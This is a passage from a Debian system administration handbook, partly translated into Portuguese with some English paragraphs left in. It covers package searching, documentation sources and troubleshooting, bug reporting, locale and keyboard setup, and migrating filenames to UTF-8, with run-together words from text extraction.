A slightly more successful searchingpattern is a plain-text search in packagenames, but it remains very limited.You can generally find results bysearching package descriptions: sinceeach package has a more or lessdetailed description in addition to itspackage name, a keyword search inthese descriptions will often be useful.apt-cache is the tool of choice for thiskind of search; for instance, apt-cachesearch video will return a list of allpackages whose name or description

contains the keyword “video”.

For more complex searches, a morepowerful tool such as aptitude isrequired. aptitude allows you to searchaccording to a logical expression basedon the package's meta-data fields. Forinstance, the following commandsearches for packages whose namecontains kino, whose descriptioncontains video and whose maintainer'sname contains paul:

$ aptitude search kino~dvideo~mpaul

p kino - Non-linear editor for Digital Video data

$ aptitude show kino

Package: kino

State: not installed

Version: 1.3.4-1+b1

Priority: extra

Section: video

Maintainer: Paul Brossier <[email protected]>

Uncompressed Size: 9519k

Depends: libasound2 (> 1.0.18), libatk1.0-0 (>= 1.20.0),

libavc1394-0 (>= 0.5.3), libavcodec52 (>= 4:0.5+svn20090706-3) |

libavcodec-extra-52 (>= 4:0.5+svn20090706-3), libavformat52

[…]

Recommends: ffmpeg, gawk | mawk, curl

Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora

Conflicts: kino-dvtitler, kino-timfx, kinoplus

Replaces: kino-dvtitler, kino-timfx, kinoplus

Provides: kino-dvtitler, kino-timfx, kinoplus

Description: Non-linear editor for Digital Video data

Kino allows you to record, create, edit, and play movies recorded with

DV camcorders. This program uses many keyboard commands for fast

navigating and editing inside the movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly

distributed as separate packages, are now provided with Kino.

Homepage: http://www.kinodv.org/

Tags: hardware::camera, implemented-in::c, implemented-in::c++,

interface::x11, role::program, scope::application,

suite::gnome, uitoolkit::gtk, use::editing,

works-with::video, x11::application

The search only returns one package,kino, which satisfies all three criteria.

Even these multi-criteria searches arerather unwieldy, which explains whythey are not used as much as theycould. A new tagging system hastherefore been developed, and itprovides a new approach to searching.Packages are given tags that provide athematical classification along severalstrands, known as a “facet-basedclassification”. In the case of kinoabove, the package's tags indicate thatKino is a Gnome-based software that

works on video data and whose mainpurpose is editing.

Browsing this classification can helpyou to search for a package whichcorresponds to known needs; even if itreturns a (moderate) number of hits,the rest of the search can be donemanually. To do that, you can use the~G search pattern in aptitude, but it isprobably easier to simply navigate thesite where tags are managed:

→ http://debtags.alioth.debian.org/cloud/

Selecting the works-with::video anduse::editing tags yields a handful ofpackages, including the kino and pitivivideo editors. This system of

classification is bound to be used moreand more as time goes on, and packagemanagers will gradually provideefficient search interfaces based on it.

Para sumarizar, a melhor ferramentapara o trabalho depende dacomplexidade da busca que você desejafazer:

apt-cache only allows searchingin package names anddescriptions, which is veryconvenient when looking for aparticular package that matches afew target keywords;when the search criteria alsoinclude relationships between

packages or other meta-data suchas the name of the maintainer,synaptic will be more useful;when a tag-based search is needed,a good tool is packagesearch, agraphical interface dedicated tosearching available packagesalong several criteria (includingthe names of the files that theycontain);finally, when the searches involvecomplex expressions with logicoperations, the tool of choice willbe aptitude's search patternsyntax, which is quite powerfuldespite being somewhat obscure;it works in both the command-lineand the interactive modes.

Chapter 7. ResolvendoProblemas eEncontrandoInformaçõesRelevantesPara um administrador, a habilidademais importante é ser capaz de lidarcom qualquer situação, conhecida oudesconhecida. Este capítulo apresentauma série de métodos que - esperamos- permitam isolar a causa de qualquerproblema que você vai encontrar, de

modo que você pode ser capaz deresolvê-los.

7.1. Fontes dedocumentacaoAntes que você possa entender o queestá realmente acontecendo quando háum problema, você precisa conhecer opapel teórico desempenhado por cadaprograma envolvido no problema. Parafazer isso, o melhor coisa a fazer éconsultar a documentação, mas umavez que estes documentos são muitos edispersos, você deve conhecer todos oslugares onde podem ser encontrados.

7.1.1. Páginas doManual

CULTURA RTFM

Esta sigla significa "Leia o ManualF**king", mas também pode serexpandida em uma variante maisamigável, "Leia o Excelente Manual".Esta frase é usada às vezes (resumido) asrespostas às perguntas dos novatos. É umpouco abrupta, e denuncia um certoincômodo em uma pergunta feita poralguém que nem sequer se preocupou emler a documentação. Alguns dizem queesta resposta clássica é melhor do quenenhuma resposta (já que indica que adocumentação contém as informações

solicitadas), ou entao um mais detalhadoe resposta iradas.

Em qualquer caso, se alguém responde"RTFM" para você, muitas vezes é sábionão se ofender. Uma vez que esta respostapode ser percebida como irritante, vocêpode querer tentar evitar recebê-la. Se ainformação que você precisa não está nomanual, o que pode acontecer, você podequerer dizer isso, de preferência na suapergunta inicial. Você também devedescrever as várias etapas que vocêpessoalmente realizou para encontrarinformações antes de você levantar umaquestão em um fórum. Você pode, antesde usar fóruns, siguir algumasrecomendações de bom senso, que foramlistadas por Eric Raymond.

→ http://catb.org/~esr/faqs/smart-

questions.html

Páginas de manual, apesar derelativamente concisa, contêm umagrande quantidade de informaçoesessenciais. Vamos rapidamente passarpelos comando para visualizá los.Basta digitar man manual-page - apágina do manual normalmente atendepelo mesmo nome que o comando cujadocumentação é solicitada. Porexemplo, para aprender sobre as opçõespossíveis para o comando cp, vocêdeve digitar o man cp no prompt doshell (veja barra lateral).

DE VOLTA AO BASICO O shell, um

interpretador de linha de comando

Um interpretador de linha de comando,também chamado de "shell", é umprograma que executa comandos que sãoou inseridos pelo usuário ou armazenadosem um script. No modo interativo, eleexibe um prompt (geralmente terminandoem $ para um usuário normal, ou por #para um administrador) indicando que eleestá pronto para ler um novo comando.Appendix B, Curso de Curta Duraçãodescreve os fundamentos para usar oshell.

O padrão shell e mais comumente usado éo bash (Bourne Again SHell), masexistem outros, incluindo dash, csh, tcshe zsh.

Entre outras coisas, a maioria dos shellsoferecem ajuda no prompt durante a

entrada, tais como a conclusão de nomesde comandos ou um arquivo (que vocêativa apertando geralmente a tecla tab),ou recordando comandos anteriores(gestão de histórico).

Páginas man não apenas documentamprogramas acessíveis a partir da linhade comando, mas também arquivos deconfiguração, chamadas de sistema,funções de biblioteca C, e assim pordiante. Às vezes os nomes podemcolidir. Por exemplo, o comando readdo shell tem o mesmo nome que achamada de sistema read. É por issoque as páginas de manual sãoorganizados em seções numeradas:

1. comandos que podem serexecutados da linha de comando;

2. chamadas de sistema (funcoesdisponibilizadas pelo kernel);

3. funcoes da biblioteca (fornecidopela biblioteca do sistema);

4. dispositivos (no Unix, estes sãoarquivos especiais, geralmentecolocados no diretorio /dev/);

5. arquivos de configuracao(formatos e convencoes)

6. jogos;7. conjunto de macros e padroes8. comandos de administracao do

sistema;9. rotinas kernel.

É possível especificar a seção da

página do manual que você estáprocurando: para ver a documentaçãopara o chamada de sistema read, vocêdeve digitar man 2 read. Quando aseção é especificado explicitamente, aprimeira seção tem uma página demanual com o nome solicitado que serámostrado. Assim, man shadow retornashadow(5) porque não há páginas demanual para shadow nas secções 1 a 4.

DICA whatis

Se você não quer olhar para a página domanual completo, mas apenas umadescrição breve para confirmar que é oque você está procurando, basta digitarwhatis comando.

$ whatis scp

scp (1) - cópia de segurança (programa de cópia de arquivos remotos)

Esta pequena descrição está incluída naseção NOME no início de todas as páginasde manual.

É claro, se você não sabe os nomes doscomandos, o manual não vai ser demuita utilidade para você. Este é opropósito do comando apropos, o queajuda você a realizar uma busca naspáginas de manual, ou maisespecificamente em suas descriçõescurtas. Cada página do manual começaessencialmente com um resumo deuma linha. apropos retorna uma listade páginas de manual que mencionama(s) palavra-chave(s) solicitada(s). Se

você escolher bem, você encontrará onome do comando que você precisa.

Example 7.1. Procurando cp comapropos

$ apropos "copia arquivo"

cp (1) - copia arquivos e diretorios

cpio (1) - copia arquivos para e de arquivos

hcopy (1) - copia arquivos de ou para um volume HFS

install (1) - copia arquivos e seta atributos

DICA Navegando atraves de links

Muitas páginas do manual têm uma seção"VEJA TAMBÉM", geralmente no final.Refere-se a outras páginas de manuaisrelevantes para comandos semelhantes,ou a documentação externa. Desta forma,é possível encontrar documentaçãorelevante, mesmo quando a primeira

escolha não é ótima.

O comando man não é o único meio deconsulta às páginas do manual, desdekonqueror (no KDE) e yelp (comGNOME) programas também oferecemessa possibilidade. Há também umainterface web, fornecida pelo pacoteman2html, que permite visualizarpáginas do manual em um navegadorweb. Em um computador onde essepacote está instalado, use este URL:

→ http://localhost/cgi-bin/man/man2html

Este utilitário requer um servidor web.É por isso que você deve optar por

instalar este pacote em um dosservidores: todos os usuários da redelocal poderão se beneficiar desteserviço (incluindo máquinas não-Linux), e isso permitirá que você nãoconfigure um servidor HTTP em cadaestação de trabalho. Se o seu servidortambém é acessível a partir de outrasredes, pode ser desejável restringir oacesso a este serviço apenas parausuários da rede local.

POLITICA DEBIAN Paginas do manualnecessarias

Debian requer que cada programa tenhauma página de manual. Se o autor originalnão fornecer uma, o mantenedor dopacote Debian normalmente irá escrever

uma página mínima que dirá, no mínimo,ao leitor o local da documentaçãooriginal.

7.1.2. Documentosinformativos

O projeto GNU escreveu manuais paraa maioria de seus programas noformato info, é por isso que muitaspáginas do manual referem-se adocumentação info correspondente.Esse formato oferece algumasvantagens, mas o programa para verestes documentos é também um poucomais complexo.

É claro que é chamado info, e leva onome do "nó" a ser consultado comoargumento. A documentação info temuma estrutura hierárquica, e se vocêinvocar info sem parâmetros, ele irámostrar uma lista de nós disponíveis noprimeiro nível. Normalmente, nóslevam o nome dos comandoscorrespondentes.

Os controles de navegação nadocumentação não são particularmenteintuitivos. O melhor método para sefamiliarizar com o programa é,provavelmente, invocá-lo, em seguida,digite h (para "ajuda") e siga asinstruções para aprender através daprática. Alternativamente, você

também pode usar um navegadorgráfico, que é muito mais amigavelcom o usuario. Mais uma vez,konqueror e yelp funcionam; oinfo2www também fornece umainterface web.

→ http://localhost/cgi-bin/info2www

Note-se que sistema info não permite atradução, ao contrário do Sistema depágina man . info são, portanto, sempreem Inglês. No entanto, quando vocêpedir ao sistema info para exibir umapagina info que não existente, eleretornara a pagina man com o mesmonome (se existir), que pode estartraduzido.

7.1.3. DocumentaçãoEspecíficaCada pacote inclui a sua própriadocumentação. Mesmo os menos bemdocumentados programas geralmentetêm um arquivo README que contémalgumas informações interessantese/ou importantes. Esta documentaçãoestá instalada no diretorio/usr/share/doc/pacote/ (em quepacote representa o nome do pacote).Se a documentação é particularmentegrande, não pode ser incluído no pacoteprincipal do programa, mas pode sertransferida para um pacote dedicadoque normalmente é chamado pacote-

doc. O pacote principal geralmenterecomenda o pacote de documentaçãopara que você possa encontrá-lofacilmente.

No /usr/share/doc/pacote/ existemtambém alguns arquivos fornecidospelo Debian e que completam adocumentação especificando asparticularidades do pacote oumelhorias em relação a uma instalaçãotradicional do software. OREADME.Debian também indica todasas adaptações que foram feitas paracumprir com a política Debian. Oarquivo changelog.Debian.gzpermite ao usuário acompanhar asmodificações feitas no pacote ao longo

do tempo: é muito útil para tentarentender o que mudou entre as duasversões instaladas que não têm omesmo comportamento. Finalmente, àsvezes existe um arquivoNEWS.Debian.gz que documenta asmaiores mudanças no programa quepode diretamente se referir aoadministrador.

7.1.4. Paginas daInternetNa maioria dos casos, os programas desoftware livre têm sites que são usadospara distribuir e para unir a

comunidade de seus desenvolvedores eusuários. Estes sites sãofreqüentemente carregados cominformação relevante de várias formas:a documentação oficial, FAQ(Frequently Asked Questions -Perguntas mais frequentes), arquivosde listas de discussão, etc. Muitasvezes, problemas que você ter, podemter sido alvo de muitas perguntas;arquivos FAQ ou lista de discussãopodem ter uma solução para ele. Umbom domínio dos motores de buscaprovaram ser imensamente valiosopara encontrar páginas relevantesrapidamente (pela restrição da busca aodomínio da Internet ou sub-domíniodedicado ao programa). Se a pesquisa

retornar muitas páginas ou se osresultados não corresponderem ao quevocê procura, você pode adicionar apalavra-chave debian para limitar osresultados e informações alvorelevantes.

DICAS Do erro para a solução

Se o software retorna uma mensagem deerro muito específica, inseri-lo no motorde busca (entre aspas, ", a fim de nãoprocurar por palavras-chave individuais,mas para a frase completa). Na maioriados casos, os primeiros links retornadosconterão a resposta que você precisa.

Em outros casos, você vai ter erros muitogerais, como "Permissão negada". Nestecaso, o melhor é verificar as permissões

dos elementos envolvidos (arquivos,identificação de usuário, grupos, etc).

Se você não sabe o endereço para o sitedo software, existem vários meios deconsegui-lo. Primeiro, verifique seexiste um campo Homepage no pacoteda meta-informação (apt-cache showpacote). Alternativamente, a descriçãodo pacote pode conter um link para osite oficial do programa. Se nenhumaURL for indicada, olhe em/usr/share/doc/pacote/copyright.O mantenedor do Debian geralmenteindica neste arquivo onde tem código-fonte do programa, e este éprovavelmente o site que você precisa

encontrar. Se nesta fase a sua pesquisaainda é infrutífera, consulte umdiretório de software livre, comoFreecode.com (anteriormenteFreshmeat.net) ou Framasoft, ouprocurar diretamente com um motor debusca, como Google ou Yahoo.

→ http://freecode.com/

→ http://framasoft.org/

Você também pode querer verificar owiki Debian, um site colaborativo ondequalquer pessoa, mesmo os simplesvisitantes, podem fazer sugestõesdiretamente dos seus navegadores. Éutilizado tanto por desenvolvedores, demodo a projetar e especificar seus

projetos, como por usuários quecompartilham o seu conhecimento porescrever documentos de formacolaborativa.

→ http://wiki.debian.org/

7.1.5. Tutoriais(HOWTO)Um howto é um documento quedescreve, em termos concretos e passoa passo, como atingir uma meta pré-definida. Os objetivos cobertos sãorelativamente variados, mas muitasvezes de natureza técnica: porexemplo, a criação de mascara IP,

configuracao do software RAID, ainstalação de um servidor Samba, etc.Estes documentos geralmente tentamcobrir todos os potenciais problemassusceptíveis de ocorrer durante aexecução de uma determinadatecnologia.

Muitos tutoriais são gerenciados peloProjeto de Documentação do Linux(LDP), cujo site hospeda todos estesdocumentos:

→ http://www.tldp.org/

Para visualizá-los localmente, bastainstalar o pacote doc-linux-html.Versões HTML Locais estarãodisponíveis no diretorio

/usr/share/doc/HOWTO/.

Leve esses documentos com um grãode sal. Elas são velhos, a informaçãoque eles contêm é muito obsoleta. Estefenômeno é ainda mais freqüente paraas suas traduções, uma vez que asatualizações não são nem sistemáticasnem um instante após a publicação deuma nova versão dos documentosoriginais. Isso faz parte da alegria detrabalhar em um ambiente devoluntariado e sem restrições...

7.2. ProcedimentoscomunsO objetivo desta seção é apresentaralgumas dicas gerais sobredeterminadas operações que umadministrador freqüentemente têm derealizar. Estes procedimentos é claronão cobrirao todos os casos possíveisde forma exaustiva, mas podem servircomo pontos de partida para os casosmais difíceis.

DESCOBRIMENTO Documentacao emFrances

Muitas vezes, a documentação traduzidapara uma língua não-Inglêsa estádisponível em um pacote separado com onome do pacote correspondente, seguidopor -lang (onde lang é o código de duasletras ISO para a linguagem).

Assim, o pacote apt-howto-fr contém atradução francesa do howto para APT. Damesma forma, os pacotes quick-reference-fr e debian-reference-fr(referência Debian) são as versõesfrancesas dos guias de referências para oDebian (inicialmente escrito em Inglêspor Osamu Aoki).

7.2.1. Configurandoum Programa

Quando você deseja configurar umpacote desconhecido, você deveproceder por etapas. Primeiro, vocêdeve ler o que o mantenedor do pacotetem documentado. Leitura/usr/share/doc/pacote/README.Debian

irá certamente permitir que você saibade disposições específicas feitas parasimplificar o uso do software. Porvezes, é essencial, a fim decompreender as diferenças em relaçãoao comportamento original doprograma, tal como descrito nadocumentação geral, tais como howtos.Às vezes esse arquivo tambémdetalham os erros mais comuns emordem para que você evite perdertempo com problemas comuns.

Então, você deve olhar a documentaçãooficial do software - consulte a seçãoanterior para identificar as váriasfontes de documentação existente. Ocomando dpkg-L pacote fornece umalista de arquivos incluídos no pacote,você pode, portanto, identificarrapidamente a documentaçãodisponível (bem como os arquivos deconfiguração, localizado no arquivo/etc/). dpkg-s pacote produz oscabeçalhos dos pacotes e mostra todosos pacotes possíveis recomendados ousugeridos; lá, você pode encontrar adocumentação ou um utilitário que iráfacilitar a configuração do software.

Finalmente, os arquivos de

configuração são muitas vezes auto-documentados por muitos comentáriosexplicativos, detalhando os váriosvalores possíveis para cadaconfiguração. Tanto que às vezes éapenas o suficiente escolher uma linhapara ativar entre as disponíveis. Emalguns casos, exemplos de arquivos deconfiguração são fornecidos nodiretório/usr/share/doc/pacote/examples/.Eles podem servir de base para o seupróprio arquivo de configuração.

POLITICA DEBIAN Localizacao deexemplos

Todos os exemplos devem ser instaladosno diretório

/usr/share/doc/pacote/examples/. Estepode ser um ficheiro de configuração, ocódigo de fonte do programa (umexemplo da utilização de uma biblioteca),ou um script de conversão de dados que oadministrador pode utilizar, em certoscasos (tal como para inicializar uma basede dados). Se o exemplo é específico parauma arquitetura particular, ele deve serinstalado em /usr/lib/pacote/examples/e deve haver um link apontando para essearquivo no/usr/share/doc/pacote/exemplos/.

7.2.2. Monitorando oque o Daemons esta

fazendoUm daemon complica um pouco acompreensão de uma situação, uma vezque não interagem diretamente com oadministrador. Para verificar se umdaemon está realmente trabalhando,você precisa testá-lo. Por exemplo,para verificar o daemon Apache(servidor web), testá-lo com umasolicitação HTTP.

Para permitir esses testes, cada daemongeralmente registra tudo o que ele faz,bem como de quaisquer erros queencontrar, no que são chamados"arquivos de log" ou "logs do sistema".

Os logs são armazenados em/var/log/ ou um de seussubdiretórios. Para saber o nome exatode um arquivo de log para cadadaemon, consulte a documentação.Nota: um único teste nem sempre ésuficiente se não cobrir todos os casosde uso possíveis, alguns problemas sóocorrem em determinadascircunstâncias.

FERRAMENTA O daemon rsyslogd

rsyslogd é especial: ele coleta os logs demensagens do sistema (internos) que sãoenviadas a ele por outros programas.Cada entrada de log é associado a umsubsistema (e-mail, kernel autenticação,etc) e uma prioridade, dois bits de

informação rsyslogd processa paradecidir o que fazer. A mensagem de logpode ser gravada em vários arquivos delog e/ou enviados para um console deadministração. Os detalhes são definidosno /etc/rsyslog.conf arquivo deconfiguração (documentado na página demanual com o mesmo nome).

Certas funções C, que são especializadasem registros de envio, simplificam o usodo daemon rsyslogd. No entanto, algunsdaemons gerem os seus próprios arquivosde log (este é o caso, por exemplo, dosamba, que implementa partes doWindows no Linux).

DE VOLTA AO BASICO Daemon

Um daemon é um programa que não é

explicitamente invocado pelo usuário eque fica por tras, à espera de umadeterminada condição ser cumprida antesde executar uma tarefa. Muitos programasde servidor são daemons, um termo queexplica que a letra "d" estáfreqüentemente presente no final do seunome (sshd, smtpd, httpd, etc.).

Qualquer operação preventiva começapor consultar regularmente os logs doservidor mais relevante. Você pode,assim, diagnosticar problemas antesmesmo deles serem relatados porusuários descontentes. Na verdade, porvezes, os usuários podem esperar porum problema reaparecer durante váriosdias antes de denunciá-lo. Você pode

usar uma ferramenta específica paraanalisar o conteúdo dos arquivos de logmaiores. Você pode encontrar essesutilitários para servidores web (comoanalog, awstats, webalizer para oApache), para servidores FTP, paraservidores proxy/cache, para firewalls,para servidores de correio electrónico,para servidores de DNS, e até mesmopara os servidores de impressão.Algumas destas utilidades operam deuma maneira modular e permitem aanálise de vários tipos de arquivos deregisto. Este é o caso de liras outambém modlogan. Outrasferramentas, como logcheck (umsoftware discutido em Chapter 14,Segurança), escaneia esses arquivos

para procurar alertas para seremtratados.

7.2.3. Pedindo ajudaem uma listaSe as suas várias buscas não tiver oajudado a chegar à raiz de umproblema, é possível obter ajuda deoutras pessoas, talvez mais experientes.Este é realmente o objetivo da lista<[email protected]>.Como em qualquer comunidade, temregras que precisam ser seguidas.Antes de pedir qualquer pergunta, vocêdeve verificar se o seu problema não

estiver coberto por debates recentessobre a lista ou qualquer documentaçãooficial.

→ http://wiki.debian.org/DebianMailingLists

→ http://lists.debian.org/debian-user/

DICA Lendo uma lista na Web

Para listas de discussão de alto volume,como <[email protected]>,pode valer a pena passar por eles comoum fórum de discussão (ou newsgroups).Gmane.org permite consulta das listasDebian neste formato. A lista acima estádisponível em:

→ http://dir.gmane.org/gmane.linux.debian.user

DE VOLTA AO BASICO AplicarNetiquette

Em geral, para toda a correspondência emlistas de correio electrónico, as regras deNetiquette devem ser seguidas. Este termorefere-se a um conjunto de regras desenso comum, a partir de cortesia comumpara erros que devem ser evitados.

→ http://tools.ietf.org/html/rfc1855

Uma vez que você encontrou estas duascondições, você pode pensar emdescrever o seu problema para a listade discussão. Inclua o máximo deinformações relevantes possíveis: osvários testes realizados, documentação

consultada, como você tentoudiagnosticar o problema, os pacotes emquestão ou aqueles que podem estarenvolvidos, etc. Verifique o Sistema deAcompanhamento de Bugs (BTS,descrito na barra lateral FERRAMENTABug tracking system) para problemassemelhantes, e mencionar os resultadosdessa pesquisa, fornecendo links parabugs encontrados. BTS começa em:

→ http://www.debian.org/Bugs/index.html

O mais cortês e preciso que você tenhasido, as maiores chances suas de obteruma resposta, ou, pelo menos, algunselementos de resposta. Se você receberinformações relevantes por e-mail

privado, pense em resumir estainformação públicamente para queoutros possam beneficiar. Permitir osarquivos da lista, pesquisados atravésde vários motores de busca, mostrem aresolução para outros que podem ter amesma pergunta.

7.2.4. Reportando umBug Quando umProblema É MuitoDificilSe todos os seus esforços para resolverum problema falhar, é possível que

uma resolução não seja de suaresponsabilidade, e que o problema édevido a um bug no programa. Nestecaso, o procedimento correto é relatar obug ao Debian ou diretamente aosdesenvolvedores. Para fazer isso, isolaro problema, tanto quanto possível ecriar uma situação de teste mínimo emque pode ser reproduzido. Se vocêsouber qual o programa que é a causaaparente do problema, você podeencontrar o seu pacote correspondenteusando o comando, dpkg-Sarquivo_em_questao. Verifique oSistema de Rastreamento de Bugs(http://bugs.debian.org/pacote)para assegurar que o erro não tenhasido relatado. Você pode então enviar o

seu relatório de bug próprio, usando ocomando reportbug, incluindo asinformações, tanto quanto possível,especialmente uma descrição completados casos de teste mínimo quepermitirá que qualquer pessoa recrie obug.

Os elementos deste capítulo são ummeio eficaz para resolver os problemasque os capítulos que se seguem podemtrazer. Use-os sempre que necessário!

Chapter 8. ConfiguraçãoBásica: Rede,Contas,Impressão...Um computador com uma novainstalação criada com o debian-installer tenta ser tão funcional quantopossível, mas muitos serviços aindadevem ser configurados. Além disso, ésempre bom saber como mudar certoselementos de configuração definidosdurante o processo de instalaçãoinicial.

Este capítulo revisa tudo que pode serincluído no que se pode chamar de"configuração básica": redes, idioma elocalização, usuários e grupos,impressão, pontos de montagem, etc.

8.1. Configurandoo Sistema paraOutra LínguaSe o sistema foi instalado usandoFrancês, a máquina provavelmente jávai ter o francês configurado como oidioma padrão. Mas é bom saber que oinstalador vai configurar o idioma, de

forma que, se mais tarde surgir anecessidade, você pode mudá-lo.

FERRAMENTA O comando locale paramostrar a configuração atual

O comando locale lista um resumo daconfiguração atual de vários parâmetrosdo locale (formato de data, formato denúmeros, etc.), apresentados na forma deum grupo de variáveis de ambientepadrão dedicadas à modificação dinâmicadestas configurações.

8.1.1. Definindo aLíngua Padrão

Um "locale" é um grupo deconfigurações regionais. Isto inclui nãoapenas o idioma do texto, mas tambémo formato para exibir números, datas,horas e valores monetários, assimcomo o método de comparaçãoalfabética ( para itens ordenadosalfabeticamente, quando aplicável).Embora cada um destes parâmetrospossa ser especificadoindependentemente dos outros,geralmente usamos um "locale", que éum conjunto coerente de valores paraestes parâmetros correspondendo auma "região" no sentido amplo. Estes"locales" são usualmente indicados naforma, código-de-idioma_CÓDIGO-DE-PAÍS, algumas vezes com um

sufixo para especificar o conjunto decaracteres e codificação a ser usado.Isto habilita considerações dediferenças idiomáticas ou tipográficasentre regiões com uma linguagem emcomum.

CULTURA Conjuntos de Caracteres

Historicamente, cada localidade temassociado um "conjunto de caracteres"(um grupo de caracteres conhecidos) euma "codificação" preferida(representação interna para caracteresdentro do computador).

The ISO-8859-1 (or “Latin 1”) encoding,for instance, was used preferentially inFrance. But for historical reasons, it didnot include certain characters (such as œ,

Ÿ, and €). This problem prompted thecreation of ISO-8859-15 (or “Latin 9”, oreven “Latin 0”). Among others, itreplaced respectively the formerinternational currency symbol (a circlewith four branches, ¤), “½”,“¼” and “¾”with the Euro symbol “€”, “œ”, “Œ” and“Ÿ”. Since the encoding for these two setsuses a single octet (8 bits) for eachcharacter, the sets only have room for 256characters. Other languages use othercharacter sets or other encodings, eitherfrom the “Latin” family, or otherwise.

Trabalhar com línguas estrangeirascomumente implica trocar regularmenteentre várias codificações e conjuntos decaracteres.\nAlém disso, escrever umdocumento diversas linguás leva a mais,quase intratáveis problemas. Unicode (umsuper catálogo de quase todos os sistemas

de escrita de todas as línguas do mundo)foi criado para contornar este problema.Uma das codificações Unicode, UTF-8,retém todos os 128 símbolos ASCII(códigos 7-bits), mas lida com outroscaracteres diferentemente. Os outros sãoprecedidos por uma sequência do carácter"escape" com um tamanho variado. Istopermite codificar todos os caracteresUnicode com uma sequência de um oumais octetos.

Aplicações migraram vagarosamente, e ouso do UTF-8 é disseminado. Isto foifacilitado devido ao fato de que essacodificação é a codificação paradocumentos XML. Fora algumassituações específicas, está é a codificaçãoque deveria ser utilizada de modo geral.Ele se tornou padrão para novasinstalações desdo Etch.

O pacote locales incluí todos oselementos necessários para seufuncionamento correto da "localização"de várias aplicativos. Durante ainstalação, este pacote perguntaráalgumas questões de maneira aescolher o suporte de línguas. Esteconjunto de línguas pode ser alteradoexecutando o comando dpkg-reconfigure locales.

Você será perguntado, primeiro, paraescolher quais "localidades" serãoincluídas. Selecionando todas aslocalidades inglesas (o que significatodos aqueles que começam com“en_US”) é uma escolha sensata. Não

hesite em escolher outras localidadesse a máquina for hospedar usuáriosestrangeiros. A lista de localidades dosistema estão armazenadas no arquivo/etc/locale.gen. É possível editareste arquivo manualmente, mas vocêdeveria executar locale-gen apósalgumas modificações. Ele gerará osarquivos necessários para ofuncionamento correto da inclusão daslocalidades e remoção dos arquivosobsoletos.

The second question, entitled “Setdefault locale”, requests a defaultlocale. The recommended choice in theU.S.A. is “en_US.UTF-8”. BritishEnglish speakers will prefer

“en_GB.UTF-8”, and Canadians willprefer either en_CA.UTF-8” or, forFrench, “fr_CA.UTF-8”. The/etc/default/locale file will thenbe modified to set the default locale forthe environment variable, LANG.

ATRÁS DAS CENAS /etc/environment e/etc/default/locale

The /etc/environment file provides thelogin, gdm, or even ssh programs with thecorrect environment variables to becreated.

Estes aplicativos não criam essasvariáveis diretamente, mas sim via ummódulo PAM (pam_env.so). PAM(Pluggable Authentication Module -Módulo de autenticação plugável) é uma

biblioteca centralizadora de mecanismospara autenticação, inicialização de sessão,e gerenciamento de senhas. VejaSection 11.7.3.2, “Configurando o PAM”para um exemplo da configuração doPAM.

O arquivo /etc/default/locale funcionade maneira similar, mas não contém avariável do ambiente LANG. Isto significaque os usuários do PAM herdarão umambiente sem localidades. Executar umprograma servidor sem os parâmetros égeralmente desaconselhado; muitoembora, usar configuraçõesimplicitamente regionais é recomendadapara programas que abram sessões parausuários.

8.1.2. Configurando oTecladoUntil Debian Lenny, the keyboardlayout was controlled by two differentsystems: for the console, console-tools/console-data; for graphicalenvironments, keyboard-configuration.Since Squeeze, these two systems havebeen unified and keyboard-configuration controls the keyboardlayout in both console and graphicalmode. The dpkg-reconfigurekeyboard-configuration command canbe used at any time to reset thekeyboard layout.

The questions are relevant to thephysical keyboard layout (a standardPC keyboard in the US will be a“Generic 104 key”), then the layout tochoose (generally “US”), and then theposition of the AltGr key (right Alt).Finally comes the question of the keyto use for the “Compose key”, whichallows for entering special charactersby combining keystrokes. Typesuccessively Compose ' e and producean e-acute (“é”). All thesecombinations are described in the/usr/share/X11/locale/en_US.UTF-

8/Compose file (or another file,determined according to the currentlocale indicated by/usr/share/X11/locale/compose.dir

Note que a configuração do tecladopara o ambiente gráfico é descrita aquisomente afeta a layout padrão; osambientes GNOME e KDE, entreoutros, provê um painel de controlepara teclado em suas preferênciaspermitem para usuário ter sua própriaconfiguração. Algumas opçõesadicionais relacionadas aocomportamento de algumas teclasparticulares também estão presentesnestes painéis.

8.1.3. Migrando paraUTF-8

The generalization of UTF-8 encodinghas been a long awaited solution tonumerous difficulties withinteroperability, since it facilitatesinternational exchange and removes thearbitrary limits on characters that canbe used in a document. The onedrawback is that it had to go through arather difficult transition phase. Sinceit could not be completely transparent(that is, it could not happen at the sametime all over the world), twoconversion operations were required:one on file contents, and the other onfilenames. Fortunately, the bulk of thismigration has been completed and wediscuss it largely for reference.

CULTURA Mojibake e erros deinterpretação

When a text is sent (or stored) withoutencoding information, it is not alwayspossible for the recipient to know withcertainty what convention to use fordetermining the meaning of a set of bytes.You can usually get an idea by gettingstatistics on the distribution of valuespresent in the text, but that doesn't alwaysgive a definite answer. When theencoding system chosen for readingdiffers from that used in writing the file,the bytes are mis-interpreted, and you get,at best, errors on some characters, or, atworst, something completely illegible.

Thus, if a French text appears normal withthe exception of accented letters andcertain symbols which appear to be

replaced with sequences of characterslike “é” or è” or “ç”, it is probably afile encoded as UTF-8 but interpreted asISO-8859-1 or ISO-8859-15. This is asign of a local installation that has not yetbeen migrated to UTF-8. If, instead, yousee question marks instead of accentedletters — even if these question marksseem to also replace a character thatshould have followed the accented letter— it is likely that your installation isalready configured for UTF-8 and thatyou have been sent a document encodedin Western ISO.

So much for “simple” cases. These casesonly appear in Western culture, sinceUnicode (and UTF-8) was designed tomaximize the common points withhistorical encodings for Westernlanguages based on the Latin alphabet,

which allows recognition of parts of thetext even when some characters aremissing.

In more complex configurations, which,for example, involve two environmentscorresponding to two different languagesthat do not use the same alphabet, youoften get completely illegible results — aseries of abstract symbols that havenothing to do with each other. This isespecially common with Asian languagesdue to their numerous languages andwriting systems. The Japanese wordmojibake has been adopted to describethis phenomenon. When it appears,diagnosis is more complex and thesimplest solution is often to simplymigrate to UTF-8 on both sides.

As far as file names are concerned, themigration can be relatively simple. Theconvmv tool (in the package with thesame name) was created specificallyfor this purpose; it allows renamingfiles from one encoding to another. Theuse of this tool is relatively simple, butwe recommend doing it in two steps toavoid surprises. The following exampleillustrates a UTF-8 environmentcontaining directory names encoded inISO-8859-15, and the use of convmv torename them.

$ ls travail/

Ic?nes ?l?ments graphiques Textes

$ convmv -r -f iso-8859-15 -t utf-8 travail/

Starting a dry run without changes...

mv "travail/�l�ments graphiques" "travail/Éléments graphiques"

mv "travail/Ic�nes" "travail/Icônes"No changes to your files done. Use --notest to finally rename the files.

